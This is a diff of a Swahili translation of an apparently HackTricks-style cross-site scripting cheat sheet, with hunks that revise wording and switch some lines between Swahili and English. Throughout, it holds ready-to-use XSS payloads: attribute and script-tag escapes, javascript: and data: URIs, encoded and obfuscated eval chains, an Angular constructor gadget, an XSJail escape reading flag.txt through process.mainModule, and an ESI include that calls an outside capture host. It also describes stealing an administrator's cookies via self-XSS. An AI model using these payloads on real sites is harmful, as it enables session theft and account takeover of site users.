4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Mfano wa ajabu wa Angular ikitekeleza XSS ikiwa unadhibiti jina la darasa:
|
||||
Mfano wa ajabu wa Angular inavyotekeleza XSS ikiwa unadhibiti jina la darasa:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -75,12 +75,12 @@ Mfano wa ajabu wa Angular ikitekeleza XSS ikiwa unadhibiti jina la darasa:
|
|||
|
||||
Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
|
||||
|
||||
* Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakiwezi kugundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
|
||||
* Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
|
||||
* Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* Ikiwa inarejelewa ndani ya maandiko ya kigezo unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* Ikiwa inarejelewa ndani ya maandiko ya templeti, unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* **Unicode encode** inafanya kazi kuandika **msimbo sahihi wa javascript**:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
|
@ -138,8 +138,8 @@ There is **JS code** that is using **unsafely** some **data controlled by an att
|
|||
|
||||
### **Universal XSS**
|
||||
|
||||
Hizi aina za XSS zinaweza kupatikana **popote**. Hazitegemei tu kwenye unyakuzi wa mteja wa programu ya wavuti bali kwenye **muktadha** **wowote**. Hizi aina za **kutekeleza JavaScript bila mpangilio** zinaweza hata kutumiwa vibaya kupata **RCE**, **kusoma** **faili** **za mpangilio** katika wateja na seva, na zaidi.\
|
||||
Baadhi ya **esemples**:
|
||||
These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
|
||||
Some **examples**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
|
@ -247,18 +247,18 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
|||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
If in order to exploit the vulnerability you need the **mtumiaji kubonyeza kiungo au fomu** yenye data iliyojazwa awali unaweza kujaribu [**kudhulumu Clickjacking**](../clickjacking.md#xss-clickjacking) (ikiwa ukurasa una udhaifu).
|
||||
Ikiwa ili kutumia udhaifu unahitaji **mtumiaji kubonyeza kiungo au fomu** yenye data iliyojazwa awali unaweza kujaribu [**kudhulumu Clickjacking**](../clickjacking.md#xss-clickjacking) (ikiwa ukurasa una udhaifu).
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
If you just think that **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, you should check [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/)kwa sababu unaweza **kudhulumu** udhaifu **bila** kutekeleza **JS** msimbo.
|
||||
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) kwa sababu unaweza **kutumia** udhaifu **bila** kutekeleza **JS** msimbo.
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
If you are in **ndani ya tag ya HTML**, the first thing you could try is to **kutoroka** kutoka kwa tag na kutumia baadhi ya mbinu zilizotajwa katika [sehemu ya awali](./#injecting-inside-raw-html) kutekeleza msimbo wa JS.\
|
||||
If you **huwezi kutoroka kutoka kwa tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||||
Ikiwa uko **ndani ya tag ya HTML**, jambo la kwanza unaloweza kujaribu ni **kutoroka** kutoka kwa tag na kutumia baadhi ya mbinu zilizotajwa katika [sehemu ya awali](./#injecting-inside-raw-html) kutekeleza msimbo wa JS.\
|
||||
Ikiwa **huwezi kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag kujaribu kutekeleza msimbo wa JS, kwa mfano kutumia payload kama (_kumbuka kwamba katika mfano huu nukuu mbili zinatumika kutoroka kutoka kwa sifa, hutahitaji hizo ikiwa ingizo lako linarejelewa moja kwa moja ndani ya tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,8 +275,8 @@ If you **huwezi kutoroka kutoka kwa tag**, you could create new attributes insid
|
|||
```
|
||||
### Ndani ya sifa
|
||||
|
||||
Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
|
||||
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
|
||||
Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarejelewa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wowote unapobofya.\
|
||||
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wowote: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Kupita ndani ya tukio kwa kutumia HTML encoding/URL encode**
|
||||
|
||||
|
@ -309,9 +309,9 @@ Kumbuka kwamba **aina yoyote ya HTML encode ni halali**:
|
|||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Mipango Maalum Ndani ya sifa
|
||||
### Protokali Maalum Ndani ya sifa
|
||||
|
||||
Hapa unaweza kutumia mipango **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na baadhi hazitahitaji.
|
||||
Hapa unaweza kutumia protokali **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na baadhi hazitahitaji.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
|
@ -385,16 +385,16 @@ Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka ambayo ina sifa za **`target="_blank" and rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
|
||||
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### juu ya Kuepuka Wakati wa Wakati
|
||||
### juu ya Kuepuka Wakati wa Wamiliki
|
||||
|
||||
Kwanza angalia ukurasa huu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kwa **"on" event handlers** muhimu.\
|
||||
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda event handlers hizi unaweza kujaribu njia zifuatazo za kuepuka:
|
||||
Ikiwa kuna orodha ya mblacklist inayokuzuia kuunda wamiliki hawa, unaweza kujaribu njia zifuatazo za kuepuka:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -409,9 +409,9 @@ Firefox: %09 %20 %28 %2C %3B
|
|||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS katika "Vitambulisho visivyoweza kutumika" (kazi ya siri, kiungo, kanuni, meta)
|
||||
### XSS katika "Madaraja Yasiyoweza Kutumika" (kuyaficha, kiungo, kanuni, meta)
|
||||
|
||||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia kazi za siri kwa:**
|
||||
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya kuyaficha:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
|
@ -430,9 +430,9 @@ From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Un
|
|||
```
|
||||
**Payload ya XSS itakuwa kama hii: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Kupita Orodha ya Blacklist
|
||||
### Kupita kwenye Orodha ya Mambo Yasiyokubalika
|
||||
|
||||
Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimeonyeshwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
|
||||
Hila kadhaa za kutumia uandishi tofauti tayari zimeonyeshwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
|
||||
|
||||
* **Uandishi wa HTML (vitambulisho vya HTML)**
|
||||
* **Uandishi wa Unicode (inaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
|
||||
|
@ -442,15 +442,15 @@ Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimeonyeshwa ndan
|
|||
|
||||
**Kupita kwa vitambulisho na sifa za HTML**
|
||||
|
||||
Soma [Kupita Orodha ya Blacklist ya sehemu ya awali](./#blacklist-bypasses).
|
||||
Soma [Kupita kwenye Orodha ya Mambo Yasiyokubalika ya sehemu ya awali](./#blacklist-bypasses).
|
||||
|
||||
**Kupita kwa msimbo wa JavaScript**
|
||||
|
||||
Soma [Orodha ya Blacklist ya kupita JavaScript ya sehemu ifuatayo](./#javascript-bypass-blacklists-techniques).
|
||||
Soma [Orodha ya Mambo Yasiyokubalika ya JavaScript ya sehemu ifuatayo](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanyika.
|
||||
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufunguliwa.
|
||||
|
||||
Kwa mfano, unaweza kuongeza mtindo katika kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
|
@ -466,11 +466,11 @@ Sasa unaweza kubadilisha kiungo chetu na kukileta katika mfumo
|
|||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
Hii mbinu ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
Hila hii ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
|
||||
## Kuingiza ndani ya msimbo wa JavaScript
|
||||
|
||||
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
|
||||
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML yanayoweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
|
||||
|
||||
### Kutoroka \<script> tag
|
||||
|
||||
|
@ -504,7 +504,7 @@ Hii inaweza **kutumiwa vibaya** kwa kutumia:
|
|||
function loop(){return loop}
|
||||
loop``````````````
|
||||
```````````````
|
||||
### Utekelezaji wa msimbo uliokodishwa
|
||||
### Utekelezaji wa msimbo uliohifadhiwa
|
||||
```markup
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
|
@ -550,7 +550,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
'\t' //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**Mabadiliko ya nafasi ndani ya JS code**
|
||||
**Mabadiliko ya nafasi ndani ya msimbo wa JS**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
|
@ -735,8 +735,8 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **Vikosi vya DOM**
|
||||
|
||||
Kuna **kodhi ya JS** inayotumia **data zisizo salama zinazodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodhi ya JS isiyo na mipaka.\
|
||||
**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
|
||||
Kuna **kodiyaki ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyaki ya JS isiyo na mipaka.\
|
||||
**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, vimehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -757,13 +757,13 @@ Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni
|
|||
|
||||
Unaweza kupata matumizi makubwa ya mbinu hii katika [**chapisho hili la blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Kutuma kikao chako kwa admin
|
||||
### Kutuma kikao chako kwa msimamizi
|
||||
|
||||
Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea udhaifu huo.
|
||||
Labda mtumiaji anaweza kushiriki profaili yake na msimamizi na ikiwa self XSS iko ndani ya profaili ya mtumiaji na msimamizi anapofikia, atachochea udhaifu huo.
|
||||
|
||||
### Kurefusha Kikao
|
||||
|
||||
Ikiwa utapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin kusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
|
||||
Ikiwa utapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili msimamizi akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
|
||||
|
||||
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake.
|
||||
|
||||
|
@ -771,7 +771,7 @@ Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao cha
|
|||
|
||||
### Unicode Iliyosawazishwa
|
||||
|
||||
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawasishwa kwa unicode** katika seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawazishwa kwa unicode** katika seva (au upande wa mteja) na kutumia kazi hii vibaya ili kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
|
||||
```javascript
|
||||
|
@ -784,7 +784,7 @@ Mfano wa fomu ([kutoka ripoti hii](https://hackerone.com/reports/709336)), ikiwa
|
|||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
Jumla "Key","Value" itarudi kama ifuatavyo:
|
||||
The pair "Key","Value" itarudi kama ifuatavyo:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
|
@ -820,9 +820,9 @@ Kisha, sifa ya onfocus itaingizwa na XSS inatokea.
|
|||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS na kuingiza kichwa katika jibu la 302
|
||||
### XSS na uingizaji kichwa katika jibu la 302
|
||||
|
||||
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting ni bure.
|
||||
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo na mipaka**. Hii **si rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting ni bure.
|
||||
|
||||
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
|
||||
Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`.
|
||||
|
@ -893,9 +893,9 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
Hali hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kuweza kuanzisha XSS.
|
||||
Hali hii ilitumika katika [**hii ripoti**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kuitumia vibaya inaweza kusababisha XSS.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Inafanya kazi kama ifuatavyo:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -938,7 +938,7 @@ Ikiwa ukurasa unarudisha aina ya maudhui ya text/xml inawezekana kuashiria names
|
|||
```
|
||||
### Mifumo Maalum ya Kubadilisha
|
||||
|
||||
Wakati kitu kama **`"some {{template}} data".replace("{{template}}", <user_input>)`** kinatumika. Mshambuliaji anaweza kutumia [**mabadiliko maalum ya nyuzi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kujaribu kupita baadhi ya ulinzi: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
Wakati kitu kama **`"some {{template}} data".replace("{{template}}", <user_input>)`** kinatumika. Mshambuliaji anaweza kutumia [**mifumo maalum ya kubadilisha nyuzi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kujaribu kupita baadhi ya ulinzi: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika ku **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela.
|
||||
|
||||
|
@ -950,7 +950,7 @@ Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)
|
|||
|
||||
### Kutoroka kwa XS Jails
|
||||
|
||||
Ikiwa una seti ndogo tu ya wahusika kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail:
|
||||
Ikiwa una seti ndogo tu ya herufi za kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
|
@ -1086,7 +1086,7 @@ trigger()
|
|||
|
||||
### Iframe Trap
|
||||
|
||||
Fanya mtumiaji aende kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
|
||||
Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
|
@ -1338,9 +1338,9 @@ Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS!
|
|||
[xss-in-markdown.md](xss-in-markdown.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### XSS hadi SSRF
|
||||
### XSS kwa SSRF
|
||||
|
||||
Una XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha hiyo hadi SSRF** kupitia Edge Side Include Injection na payload hii:
|
||||
Una XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha hiyo kuwa SSRF** kupitia Edge Side Include Injection na payload hii:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1444,9 +1444,9 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|